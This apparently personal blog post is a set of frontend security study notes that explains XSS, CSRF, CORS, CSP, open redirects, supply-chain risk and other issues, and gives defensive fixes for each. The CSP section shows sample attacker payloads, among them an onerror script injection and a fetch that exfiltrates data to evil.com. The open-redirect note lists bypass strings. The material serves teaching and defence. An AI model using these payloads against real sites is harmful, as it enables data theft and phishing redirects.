Frontend Security Notes: Common Attacks and Fixes, Explained with Animations
Frontend Security Notes: Common Attacks and Fixes, Explained with Animations
Frontend engineers often think of security as “the backend’s job”. In practice, most attacks end up happening inside the browser: a malicious script runs in the user’s tab, the browser sends cookies along on its own, or an API key gets bundled and shipped to every visitor.
These are my study notes on frontend security. I turned the most common issues into interactive animations, and each one follows the same structure:
- Five steps: walk through how the attack happens, with a “hacker’s view” note at each step explaining what the attacker is thinking.
- Root cause: why this is possible in the first place.
- The right fix: code you can actually use.
Start with this little pixel quest: press “Start quest” to play from the first stage to the last, or click a stage below to jump straight to it. Each stage links to its full animation. (The full animations are in Traditional Chinese; this post covers the same content in English.)
How to read this post: every topic has an attack flow that plays by itself. When it finishes, flip the ”🛡 Turn on defense” switch and watch where the attack gets stopped. Seven topics also have a hands-on lab, and there is an interactive checklist and a quiz at the end.
A mental model first: four kinds of problems
These issues look scattered, but they come down to four root causes. Once you know these four, it gets much easier to place a new vulnerability.
| Category | Core idea | Topics |
|---|---|---|
| A. Injection and execution | The browser can’t tell “data” from “code” | 01 XSS, 03 Token storage, 14 CSP |
| B. Abused browser defaults | The browser “helpfully” attaches cookies, embeds pages and follows redirects | 02 CSRF, 11 CORS, 12 Clickjacking, 13 Open redirect |
| C. Trust boundary in the wrong place | Everything sent to the browser is public, and every frontend check can be bypassed | 04 Frontend-only authz, 07 Hardcoded secrets, 08 Console logs, 09 Source maps |
| D. Supply chain and transport | Code you trust may be swapped before it reaches the user | 05 Supply chain, 06 CDN SRI, 10 Mixed content |
In one sentence: never trust anything that comes from the client, and never hand secrets to the client.
A. Injection and execution
01 XSS (Cross-Site Scripting)
A comment board doesn’t sanitize input, so malicious code runs in other people’s browsers.
Root cause: the server outputs user input as raw HTML, so the browser can’t tell “content” from “code”.
The fix
function escapeHtml(str) {
return str.replace(/[&<>"']/g, (c) => ({
'&': '&', '<': '<', '>': '>', '"': '"', "'": ''',
}[c]));
}
res.send('<div>' + escapeHtml(comment) + '</div>');
Notes:
- There are three kinds of XSS: stored (saved in the database), reflected (hidden in a URL parameter) and DOM-based (frontend JS puts data into
innerHTMLitself). - React and Vue escape
{value}bindings by default. The dangerous parts aredangerouslySetInnerHTML,v-html,innerHTML, and<a href={userInput}>(URLs starting withjavascript:still execute). - If you really need to render user-provided HTML (for example from a rich text editor), sanitize it with a library like DOMPurify. Don’t write your own regex.
03 Token storage: localStorage vs httpOnly cookies
The same malicious script gets completely different results depending on where the token is stored.
The full animation is a side-by-side comparison. With the same XSS, a token in localStorage is read with a single localStorage.getItem('token'). A token in an httpOnly cookie can’t be read by JavaScript at all.
Root cause: localStorage is fully open to every script on the page. One XSS gap and the token is gone.
The fix
res.cookie('token', jwt, {
httpOnly: true, // not readable from JS
secure: true, // HTTPS only
sameSite: 'strict' // not sent with cross-site requests (also helps against CSRF)
});
Note: httpOnly limits the damage; it doesn’t prevent XSS. The script can’t steal the token, but it can still send requests as the user while it runs. So it has to be combined with XSS protection and CSP. And once you move to cookies, you need to think about CSRF (see 02).
14 CSP (Content Security Policy)
CSP is the most effective second line of defense against XSS, and many projects don’t set it at all.
Even if escaping is missed somewhere and a malicious script ends up on the page, CSP tells the browser: “only run the scripts I allow, and only connect to the domains I allow”. Without CSP, the browser places no limit on where scripts can send data.
The fix
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0mBase64'
Notes:
- Generate a new random
noncefor every response and add it to legitimate<script nonce="...">tags. Injected scripts don’t have the nonce, so they won’t run. - Avoid
'unsafe-inline'and'unsafe-eval'. Adding them leaves the door half open. - Before going live, run it as
Content-Security-Policy-Report-Onlyfor a while to make sure it doesn’t block real features. connect-srclimits wherefetchcan connect, so even if a script runs, it’s hard to get data out.
- yours<script src="/app.js">▶ runs
- yours<script nonce="r4nd0m">init()</script>▶ runs
- attacker<script>steal()</script>▶ runs
- attacker<img src=x onerror="steal()">▶ runs
- attacker<script src="https://cdn.evil.com/x.js">▶ runs
- attackerfetch('https://evil.com/c?d=' + data)▶ runs
B. Abused browser defaults
02 CSRF (Cross-Site Request Forgery)
Login credentials the browser attaches automatically are used by another site to forge requests.
Root cause: the server only checks “is there a session cookie?” and not whether the user actually made the request from the bank’s own site.
The fix
// Add SameSite to the cookie
res.cookie('session', token, { httpOnly: true, sameSite: 'strict', secure: true });
// Verify a random token for sensitive actions
app.post('/transfer', (req, res) => {
if (req.body.csrfToken !== req.session.csrfToken) {
return res.status(403).send('CSRF token mismatch');
}
doTransfer(req.body);
});
Note: modern browsers default to SameSite=Lax when nothing is set, which blocks most cross-site POSTs. But GET requests with side effects (like GET /delete?id=1) are still exposed. The rule: never use GET for anything that changes data, and check the Origin header on the server.
11 Overly permissive CORS
Access-Control-Allow-Origin: *opens the door to every website.
Root cause: CORS exists to relax the same-origin policy. Configure it too loosely and any site can read your API as the user.
The fix: use an allowlist, not a wildcard.
const allowedOrigins = ['https://yourapp.com', 'https://admin.yourapp.com'];
app.use(cors({
origin: (origin, callback) => {
if (!origin || allowedOrigins.includes(origin)) callback(null, true);
else callback(new Error('Origin not allowed'));
},
credentials: true,
}));
Note (the animation simplifies this): browsers actually refuse Allow-Origin: * combined with Allow-Credentials: true; that combination is blocked outright. The setup that really causes incidents is echoing back the request’s Origin together with credentials: true. It has the same effect as a wildcard, and the browser won’t block it. Also watch out for allowing the null origin, and for checks like endsWith('yourapp.com'), which evil-yourapp.com passes.
12 Clickjacking
The button you see and the button you actually click may not be the same.
Root cause: the site doesn’t restrict whether other sites can embed it in an iframe.
The fix
Content-Security-Policy: frame-ancestors 'none'
X-Frame-Options: DENY
Note: frame-ancestors is the modern standard and X-Frame-Options is the fallback for older browsers; setting both is the safest option. frame-ancestors only works as an HTTP header; it has no effect in a <meta> tag.
13 Open redirect
First land on the real site to build trust, then get quietly sent somewhere else.
Root cause: the redirect target fully trusts a parameter supplied by the user.
The fix: only allow paths on an allowlist.
const allowedPaths = ['/dashboard', '/profile', '/settings'];
app.get('/login', (req, res) => {
const target = req.query.redirect;
if (allowedPaths.includes(target)) return res.redirect(target);
return res.redirect('/dashboard'); // anything untrusted goes to the default page
});
Note: if an allowlist isn’t possible, at least parse it with new URL(target, location.origin) and compare the origin. Checking “does it start with /” isn’t enough: browsers treat both //evil.com and /\evil.com as external URLs.
C. Trust boundary in the wrong place
04 Authorization checked only in the frontend
Hiding a button doesn’t make it secure.
Root cause: the permission check only exists in the frontend, and the backend trusts every request.
The fix
app.delete('/api/users/:id', requireAuth, (req, res) => {
if (req.user.role !== 'admin') return res.status(403).send('Forbidden');
deleteUser(req.params.id);
});
Note: besides “are you an admin?”, also check “does this record belong to you?“. If you only verify login and not ownership, changing the id in the URL shows someone else’s data. This is called IDOR (Insecure Direct Object Reference), the most common form of “Broken Access Control”, which is number one on the OWASP Top 10. Permission checks in the frontend are only there for user experience.
07 Secrets hardcoded in frontend code
Anything sent to the browser is available to anyone.
Root cause: frontend code is delivered to the user’s browser in full, so every string in it is effectively public.
The fix: the frontend calls your own backend, and the key stays in a server environment variable.
// ✅ Frontend
fetch('/api/ask');
// ✅ Backend
app.get('/api/ask', async (req, res) => {
const r = await fetch('https://api.openai.com/v1/...', {
headers: { Authorization: `Bearer ${process.env.OPENAI_KEY}` },
});
res.json(await r.json());
});
Notes:
- Environment variables prefixed with
VITE_,NEXT_PUBLIC_orPUBLIC_are bundled into the frontend and must never hold secrets. - Some keys are designed to be public (Stripe publishable keys, Firebase config). Their security relies on backend rules and domain restrictions.
- Once a key leaks, deleting it from the code doesn’t help, because it’s still in the Git history. Revoke and rotate it immediately.
08 Sensitive data in console logs
A debug log left behind becomes a public data window in production.
A console.log('user data:', userData) left over from development gets shipped. Anyone who opens the Console sees personal data, roles and internal notes, and can infer the backend’s data structure as a lead for the next attack.
Root cause: debug output doesn’t change with the environment.
The fix: strip it automatically at build time.
// webpack (Terser)
optimization: {
minimizer: [new TerserPlugin({
terserOptions: { compress: { drop_console: true } },
})],
}
// Vite (esbuild)
export default defineConfig({
esbuild: { drop: ['console', 'debugger'] },
});
Note: better than stripping after the fact is a logger with levels (debug output only in development), plus the ESLint no-console rule to catch it before code review.
09 Source maps exposing the original code
The code looks minified and obfuscated, but one
.mapfile restores all of it.
Root cause: a .map file is a complete lookup table between the original and the minified code.
The fix
// webpack
module.exports = {
devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};
// Vite (false is already the default)
export default defineConfig({ build: { sourcemap: false } });
Note: if you need original line numbers in an error tracker like Sentry, use 'hidden' to generate source maps without referencing them in the JS, upload them to the error tracker, and delete them from the deployed files. And remember: even without source maps, frontend code can still be read. Don’t build security on “nobody can understand it”.
D. Supply chain and transport
05 Third-party supply chain attacks
The package you trust may depend on a package you’ve never heard of that has already been compromised.
Root cause: the project trusts the entire dependency chain but can’t review every update of every layer.
The fix
# Install exactly what the lockfile says, no automatic version bumps
npm ci
# Scan automatically in CI
npm audit
# Or enable GitHub Dependabot (.github/dependabot.yml) to open fix PRs automatically
Note: always commit the lockfile. Before adding a package, check its download count, maintenance status and number of dependencies. Consider npm install --ignore-scripts so postinstall scripts can’t run during install. Real incidents like event-stream (2018) and ua-parser-js (2021) followed exactly this pattern.
06 CDN resources without SRI
When a CDN is compromised and a file is swapped, SRI is the last line of defense.
The full animation is a side-by-side comparison. The same file on the CDN is replaced. The page without integrity accepts it as is. On the page with SRI, the browser sees the hash doesn’t match and refuses to run it.
Root cause: without the integrity attribute, the browser doesn’t check the file’s contents.
The fix
<script
src="https://cdn.example.com/lib.js"
integrity="sha384-..."
crossorigin="anonymous">
</script>
Note: you can generate the hash like this:
openssl dgst -sha384 -binary lib.js | openssl base64 -A
crossorigin="anonymous" is required, otherwise the browser can’t do the check. SRI only works for files with pinned versions. It doesn’t work for things like lib@latest or resources that return different content per browser; in those cases it’s better to download the file and host it yourself.
10 No enforced HTTPS / mixed content
The page itself is encrypted, but one unencrypted resource can be intercepted.
Root cause: if even one resource goes over HTTP, that resource travels completely unencrypted.
The fix
Content-Security-Policy: upgrade-insecure-requests
Strict-Transport-Security: max-age=31536000; includeSubDomains
Note: upgrade-insecure-requests automatically upgrades http:// requests on the page to https://. Strict-Transport-Security (HSTS) makes the browser remember “this site is HTTPS only”, so even typing http:// the first time goes over HTTPS. Modern browsers block mixed scripts outright, but the real fix is still changing every resource URL to https://.
Summary: every issue in one table
| # | Topic | Root cause | First defense to add |
|---|---|---|---|
| 01 | XSS | Input runs as HTML | Escape on output, avoid innerHTML |
| 02 | CSRF | Browser attaches cookies automatically | SameSite + CSRF token |
| 03 | Token storage | localStorage is open to JS | httpOnly cookie |
| 04 | Frontend authz | Backend doesn’t check permissions | Check role and ownership on every API |
| 05 | Supply chain | Auto-upgrade to a compromised version | npm ci + lockfile + Dependabot |
| 06 | CDN SRI | External file contents aren’t verified | integrity + crossorigin |
| 07 | Hardcoded secrets | Frontend code is public | Keys only in backend env vars |
| 08 | Console logs | Debug output ships to production | drop_console at build time |
| 09 | Source maps | .map files deployed | Disable source maps in production |
| 10 | Mixed content | Some resources over HTTP | upgrade-insecure-requests + HSTS |
| 11 | CORS | Any origin allowed | Origin allowlist |
| 12 | Clickjacking | Page can be embedded anywhere | frame-ancestors 'none' |
| 13 | Open redirect | Trusting a user-supplied URL | Redirect path allowlist |
| 14 | CSP | Browser doesn’t restrict script sources | script-src + nonce |
Pre-launch checklist
Security headers cheat sheet
The headers mentioned above, in one place. Most can go straight into your server or CDN config:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; frame-ancestors 'none'; upgrade-insecure-requests
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
After setting them, check with securityheaders.com or Mozilla Observatory.
Quiz
Done reading? Try seven real-world scenarios and see whether you can name the attack from its symptoms.
Closing thoughts
My biggest takeaway from going through these issues: frontend security isn’t a pile of unrelated tricks. It’s a few principles that keep coming back.
- Anything the user sends in can’t be trusted (XSS, open redirect, frontend authz).
- Anything sent to the user is public (keys, console logs, source maps).
- The browser’s convenience features are convenient for attackers too (CSRF, CORS, clickjacking).
- Every layer should assume the one before it might fail (
httpOnly, CSP and SRI are all defense in depth).
If you want to learn this more systematically, start with the OWASP Top 10 and MDN Web Security. Or go back to the animation index above, pick one, and walk through it from the attacker’s side.